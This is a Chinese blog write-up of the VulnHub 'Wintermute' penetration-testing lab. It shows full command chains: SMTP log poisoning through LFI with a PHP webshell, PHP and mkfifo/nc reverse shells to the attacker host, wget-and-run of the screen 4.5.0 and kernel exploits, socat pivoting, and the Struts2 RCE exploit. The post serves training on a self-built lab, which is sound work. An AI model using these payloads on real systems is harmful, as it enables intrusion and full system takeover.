【7 Wintermute渗透笔记】

该文详述了一次渗透测试的过程,从使用arp-scan发现主机,nmap进行网络扫描,通过LFI漏洞获取反弹shell,再到内网扫描和端口转发,最终在内网环境中提权并获取目标系统的root权限。过程中涉及到了Linux系统,SMTP服务,PHPwebshell,以及Struts2漏洞的利用。
摘要由CSDN通过智能技术生成

1.前言

本文仅用于技术讨论与研究,不做任何导向,对于所有笔记中复现的这些终端、服务器或者实验环境,均为自行搭建的公开靶场,请勿在现实环境中模仿、操作。本文涉及到的工具仅就用到的方面做简要描述,如果想了解更详细的信息,请自行参阅其他技术资料。如果列出的技术用于其他任何目标,作者概不负责。

2.准备工作

镜像下载地址:https://download.vulnhub.com/wintermute/Wintermute-v1.zip
难度:中等
文件下载完后解压有两个文件,分别使用VirtualBox导入,Wintermute-Straylight网卡1选择桥接模式,网卡2选择仅主机网络,Neuromancer网卡1不启用,网卡2选择仅主机网络,开启靶机
目标:获取两台电脑的root权限。
靶机IP:未知
本机kali IP:192.168.1.107
在这里插入图片描述
网络拓扑图

3.arp-scan主机发现

使用命令

arp-scan -l

在这里插入图片描述
发现了局域网中存活的几台主机,IP:192.168.1.116是我们目标机器。

4.网络扫描

nmap  -A  -p-  192.168.1.116

在这里插入图片描述
发现系统是linux,开放了80、25、3000端口,80端口为HTTP服务,使用的是Apache 2.4.25,25端口为smtp,3000端口为Hadoop。
看看网站,浏览器访问

http://192.168.1.116

在这里插入图片描述
web页面上是一些背景信息,没什么用。。
目录扫描

dirsearch -u http://192.168.1.116

在这里插入图片描述
/index.html 就是主页。/manual 是服务器文档页面,可能有线索。
在这里插入图片描述
看看端口号3000。通过浏览器访问。
在这里插入图片描述
提示默认用户名密码是admin。测试后成功登录。
在这里插入图片描述
在flows中看到/turing-bolo、/freeside/目录
访问

http://192.168.1.116/freeside

在这里插入图片描述
欢迎页面没有东西。
访问
在这里插入图片描述
可以查看几个人的活动日志。选一个人的查看。
在这里插入图片描述
显示其他人日志文件名。
URL访问
在这里插入图片描述
发现可以访问,存在本地文件包含漏洞(LFI),能够读本地文件。
联想到靶机有smtp服务。看看能否看读邮件日志。smtp日志位于/var/log/mail.log
访问

http://192.168.1.116/turing-bolo/bolo.php?bolo=../../../../../../var/log/mail

在这里插入图片描述
成功。意味着,只要木马写入邮件日志,然后通过URL即可触发。
使用nc给靶机发邮

nc 192.168.1.116 25 			#连接邮件服务器
helo root						#标识用户身份
mail from: "root <?php echo shell_exec($_GET['cmd']);?>"   #发件人,木马所在地
rcpt to:root					#收件人
data							#编辑
.							    #编辑结束
quit							#退出nc

使用以下URL连接木马

http://192.168.1.116/turing-bolo/bolo.php?bolo=../../../../../../var/log/mail&cmd=ls

在这里插入图片描述
PHP解析不会在页面中直接显示,链接访问后,右键查看源码,看到Webshell执行的结果。

5.获取反弹shell

靶机存在PHP环境,使用PHP反弹shell

php -r '$sock=fsockopen("192.168.1.107",8888);exec("/bin/sh -i <&3 >&3 2>&3");'

使用URL编码

%70%68%70%20%2d%72%20%27%24%73%6f%63%6b%3d%66%73%6f%63%6b%6f%70%65%6e%28%22%31%39%32%2e%31%36%38%2e%31%2e%31%30%37%22%2c%38%38%38%38%29%3b%65%78%65%63%28%22%2f%62%69%6e%2f%73%68%20%2d%69%20%3c%26%33%20%3e%26%33%20%32%3e%26%33%22%29%3b%27

然后拼接到URL中

http://192.168.1.116/turing-bolo/bolo.php?bolo=../../../../../../var/log/mail&cmd=%70%68%70%20%2d%72%20%27%24%73%6f%63%6b%3d%66%73%6f%63%6b%6f%70%65%6e%28%22%31%39%32%2e%31%36%38%2e%31%2e%31%30%37%22%2c%38%38%38%38%29%3b%65%78%65%63%28%22%2f%62%69%6e%2f%73%68%20%2d%69%20%3c%26%33%20%3e%26%33%20%32%3e%26%33%22%29%3b%27

攻击机运行nc监听

nc -vlp 8888 

在浏览器中访问拼接后的URL,即获得反弹shell。
转tty

python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

6.提权

我们在系统里面查找一下这样的文件,

 find / -perm -u=s -type f 2>/dev/null  #在根目录下迭代查找用户权限为s的普通文件并过滤标准错误输出。

在这里插入图片描述
发现有screen,截屏,版本是4.5.0。

ls -l /bin/screen-4.5.0

在这里插入图片描述
只有root有读写权限,没法改代码。
查找是否有版本漏洞。

searchsploit screen 4.5.0

在这里插入图片描述
使用41154.sh。cp把文件复制到当前文件夹。

php -S 0.0.0.0:8081    							 #攻击机开启PHP服务供靶机下载文件
wget -O ./poc.sh http://192.168.1.107:8081/41154.sh #在靶机上运行wget下载poc文件
chmod +x poc.sh     							#授予执行权限
./poc.sh										#执行
python -c 'import pty; pty.spawn("/bin/bash")'      #转tty
id			

发现获得root权限
在这里插入图片描述

ls 

可以看到flag.txt 文件,即是flag文件。

cat note.txt     # 显示文件内容

可以看到一个路径/struts2_2.3.15.1-showcase

7.内网扫描

显示网络设备,查看IP。

ifconfig   

在这里插入图片描述
发现有两个IP192.168.1.116和192.168.56.104。前者IP和攻击机在一个局域网,后者IP是靶机的内网IP。能利用已经获得root权限的这台靶机作为跳板,进一步渗透靶机的内网。
测试发现靶机上没有nmap、arp-scan、netdiscover、存在ping命令。
使用ping命令,利用ICMP协议进行内网存活主机发现。

NET=192.168.56. ; for IP in $(seq 1 255); do if `ping -c2 -i0.2 -w2 $NET$IP &> /dev/null`; then echo -e "$NET$IP is \033[31mup\033[0m" ; else echo -e "$NET$IP is \033[32mdown\033[0m";  fi ; done

在这里插入图片描述
发现三台存活主机,104是本机,105是内网存活主机。
使用nc查看内网主机开放端口

for i in $(seq 1 65535); do nc -nvz -w 1 192.168.56.105 $i 2>&1; done | grep -v "Connection refused"

在这里插入图片描述

开放
开放了8009,8080,34483,三个端口,不知道提供了什么服务。
进行端口转发,就是访问靶机指定端口的数据转发到内网机器的指定端口。
监听本地端口8009,转发到内网机器的指定端口8009,后台运行。

socat TCP-LISTEN:8009,fork,reuseaddr tcp:192.168.56.105:8009 & 
socat TCP-LISTEN:8080,fork,reuseaddr tcp:192.168.56.105:8080 &
socat TCP-LISTEN:34483,fork,reuseaddr tcp:192.168.56.105:34483 &

使用nmap对内网主机8009、8080、34483三个端口扫描。

nmap -A -p 8009,8080,34483 192.168.1.116  #由于端口转发,实际上扫描的内网192.168.56.105主机。

在这里插入图片描述

8009提供的是ajp13服务,使用的是apache jserv 1.3。8080提供的是http服务,使用Tomcat 9.0.0.M26。34483提供的ssh服务,使用的是openssh 7.2p2。
我们在靶机获得root权限,note.txt文件夹,提示我们一个路径,/struts2_2.3.15.1-showcase

http://192.168.1.116:8080/struts2_2.3.15.1-showcase/   #通过浏览器访问 

在这里插入图片描述

是Struts2的欢迎页面。

8.端口转发获取内网反弹shell

根据路径猜测版本是2.3.15.1。

searchsploit struts 2.3 

在这里插入图片描述

使用Apache Struts 2.3.x Showcase - Remote Code Execution | multiple/webapps/42324.py

cp /usr/share/exploitdb/exploits/multiple/webapps/42324.py ./    #exp脚本复制到本地
使用方法在脚本最后

在这里插入图片描述

运行脚本可以获得反弹shell。但是主机在内网,需要在靶机上做端口转发。
靶机的5555端口转发的攻击机的5555端口

socat TCP4-LISTEN:5555,reuseaddr,fork TCP4:192.168.1.107:5555 &
nc -vlp 5555      #攻击机监听5555端口

没有反弹成功,内网主机nc可能没有 -e参数。使用文件管道。
新建文件re.sh,内容如下

rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.104 5555 >/tmp/f
php -S 0.0.0.0:7777   #在攻击机开启PHP服务,供下载。

在靶机上运行端口转发命令
靶机的7777端口转发的攻击机的7777端口

socat TCP4-LISTEN:7777,reuseaddr,fork TCP4:192.168.1.107:7777 &

运行命令,通过命令执行漏洞,控制内网主机下载文件输出到/tmp/re.sh

python 42324.py http://192.168.1.116:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://192.168.56.104:7777/re.sh -O /tmp/re.sh"
python 42324.py http://192.168.1.116:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod +x /tmp/re.sh"    #授予文件执行权限
python 42324.py http://192.168.1.116:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "./tmp/re.sh"    #执行文件

获得反弹shell
在这里插入图片描述

通过socat端口转发,把靶机作为跳板,获取了一个内网主机的反弹shell。
转tty

python3 -c 'import pty; pty.spawn("/bin/bash")' 

9.内网提权

cat /etc/lsb-release #得知系统为Ubuntu 16.04.4 LTS
searchsploit ubuntu 16.04.4     #查找到提权exp

在这里插入图片描述

gcc 44298.c -o 442  #编译exp
php -S 0.0.0.0:7777  # 启动php服务,供内网机器下载exp

端口使用7777,此端口在前文已经执行了端口转发。
执行命令,把exp上传到内网靶机

python 42324.py http://192.168.1.116:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://192.168.56.104:7777/442 -O /tmp/442" 
chmod +x 442  #上传完成后,在内网靶机上执行命令,赋予执行权限
./442        #报错,version `GLIBC_2.34' not found。内网靶机环境和攻击机环境不一样。

把exp上传到靶机编译,再上传到内网靶机。

wget http://192.168.1.107:7777/44298.c     #从攻击机下载exp到靶机
gcc 44298.c -o 44298						 #在靶机上编译exp
php -S 0.0.0.0:8888       #在靶机上启动php服务,供内网靶机下载编译后exp
wget http://192.168.56.104:8888/44298  #在内网靶机上执行命令,下载exp
chmod +x 44298									#授予执行权限
./44298                      		#执行exp,获得root权限
cd /root && cat flag.txt         #flag在root目录下

10.结语

最后请各位师傅斧正!!!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值